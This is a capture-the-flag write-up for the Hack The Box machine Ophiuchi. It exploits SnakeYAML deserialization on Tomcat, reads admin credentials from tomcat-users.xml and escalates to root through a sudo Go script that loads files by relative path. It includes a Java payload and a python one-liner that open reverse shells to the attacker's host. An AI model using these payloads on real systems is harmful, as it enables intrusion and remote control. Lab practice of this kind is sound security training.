Ophiuchi Write Up – Hack The Box

Welcome to my Ophiuchi Write Up for the Ophiuchi Machine

The goal of this Linux Ophiuchi Machine is to exploit the snakeyaml parser and escalate our privileges through missing absolute paths with the help of a web assembly file.

Always keep notes during the hacking process, i can recommend CherryTree for this purpose. Here a screenshot of my notes going through the box.

ophiuchi cherry tree notes
CherryTree for notes keeping

If you want to try the Box on your own, click here and follow the Write Up.

Discovery and Information Gathering

Let’s start with a initial nmap scan, i used the following command for it.

nmap -p- -sC -sV -oA nmap 10.10.10.227

This will produce the output below.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-15 20:19 CEST
Nmap scan report for 10.10.10.227
Host is up (0.11s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.31 seconds

The running ssh version on port 22 is not vulnerable – but we could enumerate existing users on the machine. We will focus on the port 8080 (http) where a apache tomcat webserver is running.

After visiting the website and poking around with the available options you will discover the input field for yaml. There is no response that the input was working – you will be redirected and see a page which tells you that this function is not working at the moment.

Okay, let’s see what google has to offer on this setup tomcat + yaml parserhere is a interesting link, which will explain this topic in a more deep way with a possible RCE (Remote Code Execution).

ophiuchi online yaml parser
Online Yaml Parser – ready to exploit it

After reading the linked article above we know that we can execute java code with !! in front – so we will try to access our python webserver which we can spawn with python3 -m http.server.

ophiuchi try to connect to our server
We can execute java code with the two !! in front of the code.
ophiuchi receiving connection
Look’s good – we can use the parser to create a connection back to us.

On this github repository you can find a working exploit which has to be modified to work.

Exploitation

We will modify the AwesomeScriptEngineFactory.java file with the following payload, compile it and create the .jar file.

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/<your ip>/<your port> 0>&1");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Now run again the python web server in the directory where the created .jar file is located and call the .jar file in the yaml parser.

opihuchi call the .jar file
Call the payload from your python web server.

Run also parallel a listener to receive the shell from the .jar payload – with nc -nvlp <your port>. If everything is working, you should receive a connection after you clicked on the PARSE button.

opihuchi receiving reverse shell
Receive the initial shell from the .jar payload

Privilege Escalation from tomcat to admin

Before we will run a enumeration script and have to go through a lot of output we will check the tomcat-users.xml file which is located here /opt/tomcat/conf/tomcat-users.xml.

cat /opt/tomcat/conf/tomcat-users.xml | grep "admin"

This will show us the following output

<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

Now we have the user and the password, ssh login is enabled for the user admin, so let’s login via ssh and find a way to elevate us to root.

Privilege Escalation from admin to root

For the privilege escalation part you can upload linenum or go the manual way.

As always the first try is the command: sudo -l which will give us the following output.

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Running the index.go file with the command sudo /usr/bin/go run /opt/wasm-functions/index.go will give us the output: Not ready to deploy.

Let’s find a way to exploit this by inspecting the index.go file a little bit closer.

Ophiuchi index.go file

We can see the following points:

  • The index.go file is reading the main.wasm file without absolut path – so we can control the path
  • The return value of the main.wasm file should be 1 to meet the if condition.
  • In the else path there will be executed /bin/sh with the deploy.sh script, again without absolute path, so we can control the path.

Building the attack chain

Transfer the main.wasm file onto your machine, to do this spawn a python webserver with python3 -m http.server in the folder where the main.wasm is located and access it from your attacker machine.

We can’t look into the file because it is compiled and in binary format. We have to compile the file back into text format to see what is going on – this can be done with the help of the following github repository wabt. Follow the installation instructions, after this is done you can compile the file with the command into a text file.

$ bin/wasm2wat main.wasm -o main.wat

Open the main.wat file in a editor and change the const 0 to const 1 – this will be the return value to meet the requirements of the index.go file.

(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 1)  ← changed from 0 to 1 to meet the requirement
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

After you changed the value to 1 we have to translate the file back to main.wasm file with the command

$ bin/wat2wasm main.wat -o main.wasm

The next step is to upload the modified main.wasm file onto the Ophiuchi machine. Navigate to the /tmp folder and download the file with wget or another tool. Create a file deploy.sh and give both files the permissions chmod 777.

In the deploy.sh file we will write the payload:

cat /root/root.txt       or you can insert a python reverse shell
 
export RHOST="<your ip>";export RPORT=<your port>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'   

With the python reverse shell don't forget to spawn a nc listener with nc -nvlp <your port>

Because the main.wasm and the deploy.sh are without absolute path, we can place them into any folder we want and run the index.go file. Run again the command sudo /usr/bin/go run /opt/wasm-functions/index.go and the root flag will be printed on your screen or you will receive a reverse shell – depends on your payload.

ophiuchi getting root and root flag
The last line was working – before i had tried different reverse shells but without success.
Payload with the python reverse shell – getting root :D.

Congratulations you managed it to get root.

Thank your for reading my Ophiuchi Write Up.

You may want to read also my other Write Ups here.